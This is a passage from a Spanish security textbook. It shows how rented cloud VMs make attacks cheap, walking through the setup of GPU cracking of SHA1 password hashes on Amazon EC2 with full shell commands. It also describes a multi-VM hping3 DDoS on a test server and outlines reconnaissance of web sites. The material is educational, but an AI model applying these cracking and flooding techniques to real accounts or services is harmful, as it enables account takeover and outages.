otro aspecto interesante del Cloud en el caso de un ataque es el pago por el uso de los recursos consumidos. Muchas empresas de hosting ofrecen servidores muy potentes pero con una duración mínima de un mes por varias centenas de euros. En el Cloud, se puede crear una máquina virtual muy potente en 1 hora por algunos euros, o algunos céntimos de euro. Por lo tanto, vamos a ver dos casos en los que el Cloud puede volverse muy práctico para un atacante. Para empezar, usaremos el Cloud de Amazon para crackear un hash SHA1. Primero veremos el tiempo necesario para esta operación en un PC normal y después el tiempo requerido en una máquina virtual de Amazon. A continuación, veremos que el Cloud también permite implementar ataques DoS muy potentes. En efecto, el número de máquinas virtuales que se pueden crear es casi ilimitado, cualquiera que tenga los medios podría fácilmente realizar una denegación de servicio a una víctima. De nuevo, usaremos Amazon EC2 para implementar el DoS. 2. Captura de claves: ejemplo con un hash SHA1 Vamos a utilizar para este ejemplo el Cloud de Amazon: AWS (Amazon Web Services) [6]. El objetivo será mostrar que el Cloud permite obtener fácilmente y con unos pocos clics una máquina virtual muy potente. Para ello, capturaremos varios hash SHA1 con la herramienta CUDA Multiforcer. Esta herramienta permite capturar contraseñas utilizando la tecnología CUDA de Nvidia. Por lo tanto, la velocidad de cálculo se ve netamente ampliada mediante el uso de GPU frente al de CPU. Para obtener una máquina virtual en Amazon, conviene antes de nada crearse una cuenta en el sitio web y entrar en la consola de administración. Amazon dispone de una decena de tipos de instancias disponibles [7], eligiremos una instancia clúster GPU, conocida por su rapidez de captura de contraseñas: En la consola de administración, cree una nueva instancia de AMI ami-aa30c7c3, que es una imagen de una máquina virtual Cluster Instances HVM CentOS 5.5 y que soporta nativamente CUDA. A continuación, elija el tipo de clúster Cluster GPU: Los dos siguientes pasos conciernen a opciones avanzadas de la VM así como añadir tags, haga simplemente clic en Continuar para pasar al siguiente paso. Amazon necesita la creación de un par de claves pública/privada. Si todavía no tiene, introduzca un nombre para una nueva clave y descargue la clave privada haciendo clic en Create & Download your Key Pair. Se habrá descargado un archivo .pem. Gracias a este archivo podrá realizar conexiones SSH a su nueva instancia. Elija a continuación el grupo de seguridad por defecto (o uno de los suyos, asegurándose de que el puerto SSH estará abierto), y haga clic finalmente en Launch para iniciar su instancia. Bastan algunos minutos para volver operacional esta nueva instancia. Una vez la columna State muestra el estado running, puede conectarse con SSH a la máquina (para saber el comando, haga clic en Instance Actions y a continuación Connect). El parámetro -i debe incluir su clave privada descargada previamente (habrá podido cambiar los permisos del archivo a 0600): En otro shell, cree un archivo que contenga el hash SHA1 que deseamos capturar y cópielo por SCP a su instancia: # echo ’hash’ > hash.txt # scp -i gpu.pem hash.txt [email protected] -1.amazonaws.com:/root/ Adapte este comando y todos los siguientes a sus propias rutas de archivos y a la dirección de su VM. Comience por instalar el compilador g++, lo necesitará más adelante: # yum install automake autoconf gcc-c++ Instale a continuación el GPU Computing SDK proporcionado por Nvidia: # wget http://developer.download.nvidi.com/compute/cuda/3_2/sdk/ gpucomputingsdk_3.2.12_linux.run # chmod +x gpucomputingsdk_3.2.12_linux.run # ./gpucomputingsdk_3.2.12_linux.run A continuación, compile las librerías del SDK: # cd ~/NVIDIA_GPU_Computing_SDK/C/ # make lib/libcutil.so # make shared/libshrutil.so Después, pasaremos a la descarga y la instalación de CUDA-Multiforcer: # cd ~/NVIDIA_GPU_Computing_SDK/C/ # wget http://www.cryptohaze.com/releases/CUDA-Multiforcer-src- 0.7.tar.bz2 -O src/CUDA-Multiforcer.tar.bz2 # cd src # tar xfj CUDA-Multiforcer.tar.bz2 # cd CUDA-Multiforcer-Release/argtable2-9/ # ./configure # make # make install Vuelva al directorio NVIDIA_GPU_Computing_SDK y edite el archivo Makefile. Busque la línea: CCFILES := -largtable2 -lcuda Y reemplace CCFILES por LINKFLAGS. Puede iniciar el comando make para obtener el ejecutable CUDA: # make El ejecutable ahora debe encontrarse en el directorio siguiente: ~/NVIDIA_GPU_Computing_SDK/C/bin/linux/release Añada a la variable de entorno LD_LIBRARY_PATH las rutas /usr/local/lib y /usr/local/cuda/lib64 como se muestra a continuación: # export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH # export LD_LIBRARY_PATH=/usr/local/cuda/lib64:$LD_LIBRARY_PATH Ahora se instala CUDA Multiforcer y finalmente se puede utilizar para capturar su hash SHA1. Para empezar, vamos a intentar capturar el SHA1 de la contraseña p@ss99:77ec969414c502d9c4fa823402650bf97763489b. Esta contraseña contie- ne letras minúsculas, un carácter especial y cifras, a primera vista es una contraseña bastante sólida a pesar de su tamaño (6 caracteres es francamente poco para una contraseña). La sintaxis de CUDA es la siguiente: # ./CUDA-Multiforcer -h TYPE -f HASH -c CHARSET_FILE -min X -max X Reemplace TYPE por SHA1. El CHARSET_FILE corresponde a un archivo que contiene la lista de letras, cifras y otros caracteres especiales que se pueden utilizar para la operación. Evidentemente, cuanto más larga sea esta lista, más durará la operación. Las opciones min y max corresponden a la longitud de la contraseña que desea capturar. De nuevo, cuanto más grande sea el intervalo definido, más tardará la operación. De este modo, al final obtenemos el siguiente comando (que deberá adaptar según sus necesidades, especialmente el nivel de longitudes mínima y máxima de la contraseña): # ./CUDA-Multiforcer -h sha1 -f /root/hash.txt -c charset --min 5 -- max 7 Se comprueba en esta captura que la contraseña se ha encontrado... ¡entre 4 y 5 segundos después del inicio del comando! En efecto, gracias a esta configuración y a la potencia de la máquina usada, ¡CUDA Multiforcer ha podido comprobar 250 millones de contraseñas por segundo! Los resultados relacionados con la contraseña #@ciss1, más complicada de capturar debido a que está formada por 7 letras y un carácter especial adicional, son del orden de 8 minutos. Habrá podido comprobar todas las posibilidades que ofrece el Cloud, muchas y variadas. Además de mostrar que el algoritmo de hashing SHA1 no es del todo apropiado para almacenar contraseñas, esta demostración ha permitido probar que la potencia del Cloud es casi ilimitada. Para acabar, cabe destacar que el coste de toda esta prueba ha sido de 2,54$ por una hora de uso de la instancia: 3. Ejemplo de un ataque DDoS El Cloud también permite desplegar en algunos clics una multitud de máquinas virtuales. Dos investigadores en seguridad mostraron durante la DEFCON 2010 que era posible utilizar el Cloud de Amazon EC2 para lanzar un ataque DDoS (Distributed Denial of Service) a un objetivo. Vamos a reproducir este ataque con el comando hping3 utilizando varias máquinas virtuales haciendo de bots. Uno de nuestros servidores físicos hará de objetivo. Se ha instalado un servidor Apache en este servidor, simulando el escenario de un atacante intentando un ataque DDoS a un sitio web. En la consola de administración de Amazon, creamos varias máquinas virtuales. La potencia de la VM no es importante en este caso, por razones económicas elegiremos por tanto una instancia de tipo Micro: Consulte la sección Captura de claves: ejemplo con un hash SHA1 de este capítulo para las etapas siguientes. Una vez conectado en SSH (con el usuario ubuntu), basta con instalar hping3: # sudo aptitude install hping3 Después, hay que ejecutar el comando contra la máquina objetivo: Por supuesto que la operación debe repetirse en bastantes otras VM, el número depende evidentemente de la potencia del servidor web. Los logs del servidor víctima se llenan entonces de peticiones que provienen de nuestras VM: Algunos minutos después del inicio de esta prueba, nuestro servidor web está completamente caído: Este ejemplo muestra perfectamente hasta qué punto es fácil usar varias VM en el Cloud para realizar un ataque DDoS. Además el pirateo de la PlayStation Network hace ya un año prueba lo fácil que puede llegar a ser crearse una cuenta falsa en Amazon [8]. Condiciones generales de uso Copyright - ©Editions ENI Conclusión El Cloud Computing está revolucionando la informática actual. Muchas aplicaciones pesadas son ahora trasladadas a la Nube, y raras son las empresas que no tienen algún dato en la Nube. Pero la democratización de este modelo informático viene acompañado de nuevas vulnerabilidades que conviene dominar para afrontar con calma la migración. Las tecnologías del Cloud son muchas, así como las vulnerabilidades que las acompañan. En algunos casos se tratará de fallos web (en la consola de administración, por ejemplo), y en otros casos de vulnerabilidades a nivel de aplicación (saltarse los permisos en el hipervisor). Este capítulo no tiene como objetivo cubrir el conjunto de estas tecnologías, un libro entero no sería suficiente, sino más bien mostrar de forma general cuáles son los riesgos del Cloud y qué soluciones existen. Evidentemente, la lista de recomendaciones no es exhaustiva pero habrá permitido a los nuevos usuarios del Cloud, o al RSI/DSI que desea migrar su infraestructura, plantearse las preguntas correctas y asegurar un nivel de seguridad óptimo de su sistema de información. Enlaces [1 ] http://es.wikipedia.org/wiki/Criptograf%C3%ADa_asim%C3%A9trica [2 ] http://www.xatakaon.com/almacenamiento-en-la-nube/dropbox-compromete-su- seguridad-para-ahorrar-y-colaborar-con-los-gobiernos [3 ] http://en.wikipedia.org/wiki/Comparaison_of_platform_virtual_machines [4 ] http://www.gartner.com/DisplayDocument?ref=clientFriendlyUrl&id=1288115 [5 ] http://aws.amazon.com/es/security/ [6 ] http://aws.amazon.com/es [7 ] http://aws.amazon.com/es/ec2/instance-types/ [8 ] http://www.theregister.co.uk/2011/05/14/play_station_network_attack_from_amazo n Recordatorio sobre las tecnologías Web 1. Preámbulo No es concebible formarse en seguridad de sitios Web sin tener un buen conocimiento de los mecanismos que se ponen en práctica en la consulta de páginas por Internet. En este capítulo vamos a realizar un repaso de las principales tecnologías Web, explicando los procesos que intervienen en su funcionamiento. Si usted considera que sus conocimientos en este ámbito ya son lo bastante avanzados, puede pasar directamente a la sección Aspectos generales en la seguridad de sitios Web de este mismo capítulo. 2. La red Internet Internet es una gran red de ordenadores por la que circulan millones de datos diariamente. Estos datos son de distinta naturaleza (email, página Web, chat, sindicación rss...) y se utilizan varios métodos para transportarlos (HTTP, SMTP, FTP...). Cada tipo de datos y cada método de transporte pueden presentar fallos de seguridad. Hay dos tipos de datos muy importantes: las páginas Web y los emails. En este capítulo desarrollaremos la base de las técnicas de ataque de sitios Web y explicaremos las principales reacciones que hay que asumir para protegerse. Pero antes de empezar a explicar los ataques posibles en un sitio Web, hay que comprender los mecanismos que intervienen en la consulta de una página. 3. ¿Qué es un sitio Web? Un sitio Web es un conjunto de datos coherentes y ordenados que pueden representarse en varios tipos de medio (texto, imagen, sonido, vídeo...). La consulta de esta información se realiza a través de un software que se llama navegador. El servidor transmite los datos al navegador bajo demanda. De este modo, el sitio Web establece una relación cliente/servidor. Los protocolos que se utilizan para el intercambio de información entre estos dos ordenadores son HTTP (HyperText Transfer Protocol) y HTTPS (HyperText Transfer Protocol Secured). La palabra Secured significa securizado, pero veremos que está muy lejos de garantizar una seguridad total y que muy a menudo genera un falso sentimiento de seguridad. Los lenguajes más utilizados para la descripción de páginas son el HTML y el XHTML. 4. Consulta de una página Web, anatomía de los intercambios cliente/servidor Cuando deseamos consultar la página de un sitio Web con nuestro navegador, empezamos introduciendo la dirección del sitio, su URL (Uniform Resource Locator) o, en un sentido más amplio, su URI (Uniform Resource Identifier). Aquí emplearemos el término URL ya que es el más utilizado para referirse a la dirección de un sitio Web. Supongamos que queremos consultar el sitio http://mipagina.com :  Introducimos en nuestro navegador la dirección http://mipagina.com.  Nuestra máquina va a resolver en primer lugar el nombre del sitio para obtener la dirección IP del servidor que la alberga. Esta resolución de nombres se realiza mediante una petición DNS (Domain Name System).  Una vez se ha obtenido la IP, nuestro navegador enviará una petición HTTP al puerto 80 utilizando el método GET en la raíz del sitio.  El servidor nos responde devolviendo los datos correspondientes a la página de inicio del sitio Web. Si hay más medios presenten en la página, serán necesarias varias peticiones para obtener cada uno de ellos. Ilustremos este intercambio con un ejemplo concreto de consulta al sitio Web de Ediciones Eni. Para ello, usaremos un programa que permita capturar el conjunto de intercambios entre nuestro ordenador y la red Internet: Wireshark. Obtendremos el resultado mostrado a continuación. Captura con Wireshark Podemos ver las consultas DNS en los seis primeros intercambios para resolver la dirección del sitio. Después nuestro equipo establece una conexión TCP con el servidor mediante los famosos tres paquetes SYN, SYN/ACK y ACK. El navegador envía entonces la petición GET siguiente: GET / HTTP/1.1 Pero esto no es la única información que nuestro navegador envía. También proporciona mucha información sobre nosotros para que el servidor Web pueda devolver la respuesta más adecuada posible. A esta información la llamamos información de la cabecera HTTP, de la que mostramos un ejemplo a continuación: Host: www.editions-eni.fr User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008112309 Iceweasel/3.0.4 (Debian-3.0.4-1) Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Encontramos en esta cabecera información sobre nuestro navegador, nuestro sistema operativo, el idioma utilizado, la codificación de caracteres aceptada, etc. Cabe decir que los servidores web generan gran cantidad de estadísticas con estas cabeceras. Para ver mejor el intercambio de datos entre el cliente y el servidor en Wireshark, hay que hacer clic con el botón derecho sobre el paquete TCP/SYN del enlace cliente/servidor y seleccionar Show TCP Stream. Tras la recepción de estos datos, el servidor Web envía su respuesta. También devuelve una gran cantidad de información. Para empezar, la siguiente cabecera: HTTP/1.1 200 OK Connection: Keep-Alive Content-Length: 170498 Expires: -1 Date: Wed, 10 Jun 2009 02:16:30 GMT Content-Type: text/html; charset=iso-8859-1 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=rmg2itynpxw5axmholz5gk45; path=/; HttpOnly Cache-Control: no-cache Pragma: no-cache No vamos a detallar toda la información devuelta, sino sólo la principal. La primera línea indica que la página que hemos solicitado está disponible. A continuación tenemos información sobre el tipo de contenido, en este caso text/html, así como la codificación de caracteres utilizada en la página, en este caso iso-8859-1. Los siguientes datos son muy interesantes. Tenemos el tipo de servidor (Microsoft-IIS) y su versión (6.0), seguido del lenguaje usado para programar las páginas, en este caso ASP.NET. Un último elemento interesante es el envío de una cookie de sesión. Volveremos a hablar de estos datos y más concretamente sobre el uso que les podemos dar, pero por el momento nos centraremos en la continuación de la página: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html id="ctl00_html" xmlns="http://www.w3.org/1999/xhtml" lang="es"> <head id="ctl00_Head1"><link rel="stylesheet" type="text/css" href="http://www.ediciones-eni.com/Styles/fontface/fonts.css" /><title> Ediciones ENI: editor de libros informáticos, soportes de curso y de formación, CD-Rom de formación, formación en línea, E-Learning MEDIAplus </title><link rel="stylesheet" type="text/css" href="/styles/espagne/Espaces/Espace_6782c292-9e0b-46fc-a5f2- 1aabff858726/css/bundle_BC95939C4F4FAC2EE8E7CAB5BDC3F1F3.css" /> <script type="text/javascript" src="/scripts/bundle_485B90F135B39D3962C071FBB7FB98F2.js"></script><me ta http-equiv="Content-Type" content="application/xhtml+xml;charset= iso-8859-1" /> <meta http-equiv="description" content="Ediciones ENI es editor de libros informáticos, soportes de curso y de formación, CD-ROM de formación, formación en línea acompañada o no por un formador, solución e- learning MEDIAplus. Venta en línea." /><meta http-equiv="keywords" content="ENI, ediciones ENI, mediaplus, libros informáticos, e-learning, e-learning ofimática, soportes de formación informática, soportes de curso informáticos, libros ofimática, cd-rom de formación, guías informáticas, obras informáticas, autoformación, formación en línea ofimática, formación productos Microsoft, examen mos, mcas, certificación Microsoft." /><meta http-equiv="lang" content="fr" /> <meta http-equiv="abstract" content="vente en ligne des livres informatiques des Editions ENI" /><meta http-equiv="publisher" content="Editions ENI" /> <meta http-equiv="reply-to" content="[email protected]" /> <meta http-equiv="contactcity" content="Nantes" /> <meta http-equiv="contactzipcode" content="44021" /> <meta http-equiv="contactstate" content="France" /> <meta http-equiv="identifier-url" content= "http://www.ediciones-eni.com" /> <meta http-equiv="copyright" content="Editions ENI" /> <meta http-equiv="category" content="Computing/General" /> <meta http-equiv="distribution" content="global" /> <meta http-equiv="rating" content="general" /> <meta http-equiv="vs_defaultClientScript" content="JavaScript" /> <meta http-equiv="alexaVerifyID" content="bpVtOKMRHP2TIOOyork9G3gGP-M" /> <meta http-equiv="Robots" content="Index, Follow" /> <meta http-equiv="Cache-Control" content="no-cache" /><link rel= "shortcut icon" type="image/x-icon" href="http://www.ediciones- eni.com/ favicon.ico" /><script type="text/javascript"> var RootPath = "http://www.ediciones-eni.com/"; var IdLNG = 6; Nos limitamos a mostrar solamente el comienzo de la página para no llenar el libro de código HTML, que no es nuestro objetivo. La primera línea de la página es muy interesante ya que informa al navegador sobre el lenguaje usado para describir la página. Este lenguaje de descripción de páginas utilizado es el XHTML 1.0 en su versión Transitional. Podemos comprobar que la página también tiene funciones en JavaScript. Si seguimos mirando los intercambios de paquetes, veremos que son necesarias otras peticiones: la solicitud de una hoja de estilos, la solicitud de imágenes, etc. 5. ¿Cómo se construyen las páginas Web? Como ya hemos comentado, un sitio Web es un conjunto de medios combinados coherentemente. Las páginas de un servidor pueden ser estáticas o dinámicas. En el caso de que sean estáticas, el código HTML/XHTML de la página se guarda simplemente en un archivo y bastará con que el servidor la devuelva al navegador cada vez que se solicite. Hay tantos archivos como páginas que se pueden visitar. Lo mismo sucede con el contenido multimedia. Este tipo de sitio web no es fácil de mantener ya que cualquier modificación supone la edición del código de la página. Esta tecnología prácticamente ha desaparecido de Internet dando lugar a los sitios dinámicos. La única ventaja que tiene un sitio estático respecto a uno dinámico es que suele presentar menos fallos de seguridad. En el caso de un sitio dinámico, las páginas no existen en el servidor. Se van construyendo dinámicamente en función de las solicitudes del cliente. La ventaja es que los datos que componen la página pueden repartirse en varios servidores y tomar distintas formas (bases de datos, archivos, etc.). Pero para realizar la página está claro que es necesario un "programa" que construya la página. Quien dice programa, dice lenguaje de programación. Según el tipo de servidor usado, se usarán unos lenguajes u otros. Veamos algunos ejemplos:  Servidor IIS (Internet Information Services): lenguajes ASP, ASP.NET.  Servidor Sun Java System Web Server: lenguajes JSP, ASP, PHP.  Servidor lighttpd: PHP, Perl, Ruby, Python.  Servidor Apache: PHP, Perl, Ruby, Python.  etc. Los dos tipos de servidores que predominan en Internet son IIS y Apache, con una gran ventaja para Apache. En lo referente a los lenguajes, nos encontramos principalmente con PHP, JSP y ASP.NET, con una amplia ventaja para PHP. Todos estos lenguajes se ejecutan en el lado del servidor. Además, casi todos son lenguajes llamados interpretados, pero no entraremos a este nivel de detalle por el momento. Emplearemos el término script para referirnos a ellos. Si quisiéramos presentar todos los tipos de problemas de seguridad que podemos encontrar en Internet, nos harían falta bastantes libros. Como cada día se descubren nuevos fallos, es una tarea imposible. Éste no es nuestro objetivo. Por esta razón, nos centraremos principalmente en este libro en el dúo Apache/PHP para describir los mecanismos de seguridad más importantes. Por el momento hemos hablado de lenguajes que se ejecutan o interpretan en el lado del servidor, pero también los hay en el lado cliente:  JavaScript  Applet Java  Flash  etc. El lenguaje más utilizado es JavaScript. Flash no es realmente un lenguaje sino que tiene un lenguaje integrado y es muy popular en la Web. En cuanto a los Applets, éstos se ejecutan en la JVM (Java Virtual Machine) de nuestro equipo. Permiten integrar una aplicación completa en el navegador y su usan principalmente para esta función específica. Para comprender los problemas de seguridad que nos podemos encontrar en los sitios web es importante conocer, a parte de los mecanismos de intercambio cliente/servidor, los lenguajes de programación utilizados para la realización de páginas Web. Sin tener que llegar a ser un experto en cada lenguaje, para encontrar un exploit hay que tener unos conocimientos mínimos. Le invitamos a que consulte otras obras que tratan estos temas. Como en este libro usaremos principalmente PHP y JavaScript, explicaremos estos lenguajes en el momento oportuno. Aspectos generales en la seguridad de sitios Web La piratería informática aparece a menudo en la portada de la prensa. Se escucha que el sitio de tal empresa o tal partido político ha sufrido un ataque. Pero detallemos un poco más qué puede buscar un pirata informático cuando ataca a un sitio web. Un ataque realizado a un sitio web puede tener como objetivo:  Dejar el sitio no disponible, es un DoS (Denial of Service). Las razones pueden ser múltiples como poner en un aprieto a la competencia o simplemente por jugar, para demostrar un cierto dominio técnico.  Modificar el contenido de un sitio, para perjudicar a una persona o simplemente por diversión.  Obtener información no autorizada. Esta vez es más serio, el objetivo puede ser el espionaje industrial, la obtención de archivos de tarjetas bancarias, información confidencial sobre las personas...  Tomar el control del servidor con el objetivo de realizar un ataque a otro servidor conservando el anonimato, o incluso para tener una base de ataque en la empresa donde está el servidor.  Etc. Las razones de los ataques son diversas, desde el simple adolescente que se quiere divertir o probar sus competencias técnicas hasta los terroristas que pueden paralizar una empresa u obtener información sensible. De todos modos, el éxito de un ataque va ser el fruto del cuidadoso análisis del comportamiento de la página web. Esto no puede hacerse sin un enfoque coherente. Hay muchas formas de abordar el problema, pero lo importante es tratar los siguientes puntos:  Recuperar el máximo de información cuando se está utilizando normalmente el sitio web: lenguaje de programación, estructura de archivos, cookies, principio de autentificación, etc.  Descubrir las partes ocultas del sitio: directorios, estructura de las bases de datos, etc.  Implantar una estrategia de ataque en función de la información recopilad Pequeño análisis de un sitio Web 1. Mapa de las partes visibles de un sitio Web Un sitio Web se compone de multitud de páginas que están organizadas en forma de árbol. Es el mapa del sitio. Cada página es accesible generalmente a través de un enlace de hipertexto situado en un menú o en otra página. Cada enlace apunta a una URL o URI que determina la ubicación del recurso. Además, para cada uno de los archivos de contenido multimedia que aparecen en las páginas web también existe una URI. A estas alturas ya podemos distinguir dos tipos de recursos, los que están dentro del mismo dominio que el sitio visitado y los que están en otro dominio. Si queremos hacer un mapa del sitio, es decir, listar todos los elementos que lo componen, debemos limitarnos al dominio en el que se encuentra el sitio web, ya que en caso contrario acabaríamos por recorrer toda la red de Internet, dado el gran número de enlaces que hay entre las páginas web. A veces es incluso difícil listar el conjunto de páginas de un mismo dominio. En efecto, desde la aparición de los sitios dinámicos, la construcción de páginas se realiza buscando la información en distintas fuentes. Este fenómeno multiplica el número de páginas disponibles y éstas no son más que una representación de la información. Por ejemplo, en un sitio web que presenta información meteorológica, las páginas se construyen yendo a buscar la información en la base de datos. Si hay información de hasta hace 10 años y se puede solicitar una representación por día, mes o año, el número de páginas que se pueden llegar a generar es sorprendente. Por lo tanto, éste no es un buen método para intentar analizar todas las páginas. De hecho, más vale intentar analizar el comportamiento. Hay que encontrar el máximo de información posible que el sitio web nos pueda dar en un funcionamiento normal. Entonces hablamos más bien de toma de huellas que de mapa. He aquí un pequeño listado de preguntas que nos podemos hacer para recopilar la máxima información posible:  ¿El sitio web es estático o dinámico? En este último caso, ¿en qué lenguaje se ha desarrollado?  ¿Cuáles son las variables usadas para transmitir las peticiones?  ¿Qué formularios y qué campos las utilizan?  ¿Recibimos cookies? ¿Qué datos contienen?  ¿Las páginas tienen contenido multimedia?  ¿El sitio realiza consultas a base de datos?  ¿Podemos acceder a carpetas, que contengan imágenes por ejemplo?  ¿Usa el sitio JavaScript o AJAX?  ¿Qué servidor se está usando? ¿Cuál es su versión? Esta lista, que no está completa, ya permite reunir una gran cantidad de información. Retomemos cada punto y veamos cómo podemos intentar obtener una respuesta. a. ¿El sitio web es estático o dinámico? La primera pista que nos puede ayudar es la extensión del archivo llamado desde la URL cuando se está navegando. Si es del tipo .php o .asp o incluso .jsp, significará que el sitio web está escrito en alguno de los lenguajes correspondientes, salvo si se da la rarísima excepción de que alguien nos ha querido engañar cambiando la configuración de su servidor. Si la extensión es del tipo .html o .htm se tratará probablemente de una página estática, pero cuidado, aquí nada es seguro. Es efecto, los servidores permiten hacer URL Rewriting (reescritura de dirección). Esta técnica permite lograr una mejor clasificación del sitio web y enmascara el paso de variables, así como el lenguaje utilizado. Por ejemplo, si llamamos a la página php: paginas.php?id=5&menu=2&articulo=7 ésta se puede reescribir como: paginas_5_2_7.html Por lo menos podemos comprobar que la página tiene un nombre raro, lo que nos puede dar la pista de que se ha usado esta técnica. Si la URL no nos da información, podemos iniciar el análisis del código fuente de la página. En Firefox, la combinación de teclas [Ctrl]+[U] muestra este código. A propósito de este tema, queremos realizar un inciso acerca de los programas que utilizamos. Somos fervientes defensores del software libre ya que presenta una serie de ventajas. No entraremos en una larga discusión para explicar nuestra elección, ya que no es el objetivo de este libro. Por lo tanto, trabajaremos desde Linux, pero no es obligatorio para seguir este libro. Sin embargo, utilizamos el navegador Firefox, disponible tanto en Linux como en Windows. Tiene la ventaja de tener gran cantidad de add-ons, pequeños módulos complementarios muy útiles para analizar un sitio web e incluso atacarlo. Analicemos, por ejemplo, el código fuente de la página de inicio del sitio web de RSSIL (http://www.rssil.org) cuya URL no nos da mucha información. Sólo tomaremos pequeños extractos del código para no sobrecargar demasiado este libro: <!DOCTYPE html> <html lang="fr" xmlns:addthis="http://www.addthis.com/help/client- api"> <head> <title>Accueil | RSSIL</title> <meta http-equiv="Content-Type" content="text/html; charset=utf- 8" /> ... ... ... <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/ jquery.min.js" type="text/javascript" charset="utf-8"></script> <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.18/ jquery-ui.min.js" type="text/javascript" charset="utf-8"></script> ... ... <footer> Design &amp; réalisation par <a href="http://www.acissi.net" target="_blank">ACISSI</a>, <a href="http://www.drastic- securite.com" target="_blank">DRASTIC</a> et <a href= "http://www.jonathan-menet.fr/blog/" target="_blank">JOHN’S GRAPHISME</a> - 2012 - <a href="/page/mentions- legales/">Mentions légales</a> - <a href="/contact/" title="Contact">Contact</a> - <a href="http://www.djangoproject.com" target="_blank">Django</a> </footer> Aquí sólo se precisa html en el DOCTYPE, es lo que por el momento se usa para indicar que es una página HTML5, pero la norma todavía no es oficial como lo precisa el sitio web del W3C. Comprobamos que el sitio web utiliza las API jquery, que son funciones JavaScript muy potentes capaces de generar el renderizado de la página. También encontramos un dato importante abajo de la página dejado voluntariamente por el autor indicando que el sitio web ha sido desarrollado con Django, que es un framework de Python. En el caso de que no lleguemos a descubrir el lenguaje utilizado para desarrollar el sitio que estamos analizando, podremos obtener esta información analizando otros puntos. b. ¿Cuáles son las variables usadas? En un sitio Web dinámico no hay tantos scripts como páginas, si no esto no tendría sentido. Por lo tanto, un script determinado será capaz de construir una gran cantidad de páginas en función de los datos que va a recibir. Éstos pueden transmitirse en la URL utilizando el método GET. Un análisis de la URL permite listar las variables usadas. Por ejemplo: forum.php?id=234&user=codej En este caso, llamamos al script "forum.php" pasándole las variables "id" y "user". Si está activada la reescritura de URL en el servidor, se vuelve muy difícil conocer el nombre de las variables. c. ¿Qué formularios y qué campos las utilizan? Otra forma de transmitir datos al script es con el uso de formularios. Es entonces el método POST el que generalmente se utiliza, pero no es obligado. Para conocer estos campos podemos ver el código fuente o espiar la transmisión de datos al servidor como ya hemos hecho anteriormente con Wireshark. Veremos más adelante que hay herramientas más prácticas, pero lo importante es tener una correcta visión de la situación. Es por ello que le proponemos ver regularmente el código fuente de la página para entender adecuadamente los mecanismos que se están usando. Veamos por ejemplo el código fuente del siguiente formulario: <form action="identif2.php" method="POST"> <input type="hidden" name="type" value="7d4d77af8208a8b7fc9a2246d97db964"> Su mensaje: <input type="text" name="mensaje"><br> <input type="submit" value="Validar"> </form> En este formulario vemos tres campos:  Un campo de tipo hidden llamado type que está por lo tanto oculto y que no existirá a los ojos del internauta.  Un campo de tipo text llamado mensaje que corresponde a un campo visible al usuario en el que puede introducir texto.  Un campo de tipo submit que corresponde al botón de validación del formulario. También vemos que en el envío del formulario, éste va a transmitir sus datos al script identif2.php por el método POST. d. ¿Recibimos cookies? ¿Qué datos contienen? Las cookies son pequeños archivos que contienen texto que el servidor puede enviar al cliente para almacenar información permitiéndole memorizar un estado. Uno de los tipos de cookies más usados es la cookie de sesión. Ésta interviene en el mecanismo de autentificación del cliente para evitar al internauta tener que introducir de nuevo su usuario/contraseña en todas las páginas. Permite, en principio, al servidor identificar de forma unívoca al cliente. Pero éste no es el único uso de las cookies. También permiten memorizar sus hábitos, una configuración, etc. En Firefox, una de las formas de ver si el sitio web envía cookies es ir al menú de Herramientas y después hacer clic en Información de la página. Aparece esta ventana. Información sobre la página visitada Al abrirse tenemos la información general sobre la página. Si vamos a la pestaña Seguridad (pantalla siguiente), vemos si el sitio web envía cookies. Podemos tener un detalle de éstas haciendo clic en Ver cookies. Información de seguridad acerca de la página visitada e. ¿Las páginas tienen contenido multimedia? Como en el caso de las cookies, podemos listar los medios presentes en la página en la pestaña Medios de la ventana Información de la página de Firefox. Tenemos incluso la posibilidad en esta pestaña de guardar todos los medios, pero sobre todo vemos la ruta a cada uno de ellos, lo que puede ser muy interesante. f. ¿El sitio realiza consultas a base de datos? Éste es un punto mucho más delicado de tratar. No podemos ver en una primera aproximación si el sitio web utiliza bases de datos. Dependiendo de la naturaleza del sitio web, podemos tener fuertes presunciones, pero para tener la prueba habrá que usar conocimientos y herramientas más avanzados que los que hemos visto hasta ahora. Sin embargo, podemos decir que si el sitio web es dinámico, hay muchas posibilidades de que se esté utilizando una base de datos. g. ¿Podemos acceder a algunas carpetas? Generalmente no podemos listar el contenido de las carpetas que contienen imágenes u otros archivos, excepto si esta funcionalidad está autorizada expresamente. Pero puede darse el caso de que haya servidores que estén mal configurados y autoricen la visualización del contenido de carpetas sensibles. Podemos tener una idea de las rutas que hay que probar mirando el origen de los medios de otros archivos que el sitio web utilice. Por ejemplo, si vemos los medios de la página de inicio de ACISSI, tenemos una imagen cuya ruta es: http://www.acissi.net/wp- content/uploads/2011/06/livre_acissi_2.jpg Si intentamos acceder a la carpeta www.acissi.net/wp-content/uploads/2001/06/, podemos obtener una lista de las imágenes. Esto no es muy grave porque son las imágenes que se muestran en el sitio web y, por lo tanto, no hay nada confidencial. Por el contrario, Ediciones ENI no desea que ningún internauta visualice todas las imágenes presentes en esta dirección: http://www.editions-eni.fr/images/. El motivo puede ser por derechos de autor o cualquier otro. Toda la astucia aquí consiste por lo tanto en listar una carpeta para la que el creador del sitio web ha olvidado crear una regla de prohibición. Esto puede conducir a la consulta de archivos mucho más importantes que imágenes, como archivos de configuración de servidores, por ejemplo. h. ¿El sitio web usa JavaScript? Para saber si el sitio web usa JavaScript, basta con mirar el código fuente. Sólo hay dos casos posibles, o el código está escrito directamente en la página, o bien está en un archivo separado y se carga a través de la página. En ambos casos, como nuestro navegador tiene que poder acceder a este código, podremos obtenerlo para analizarlo. Por ejemplo al comienzo de la página de inicio de 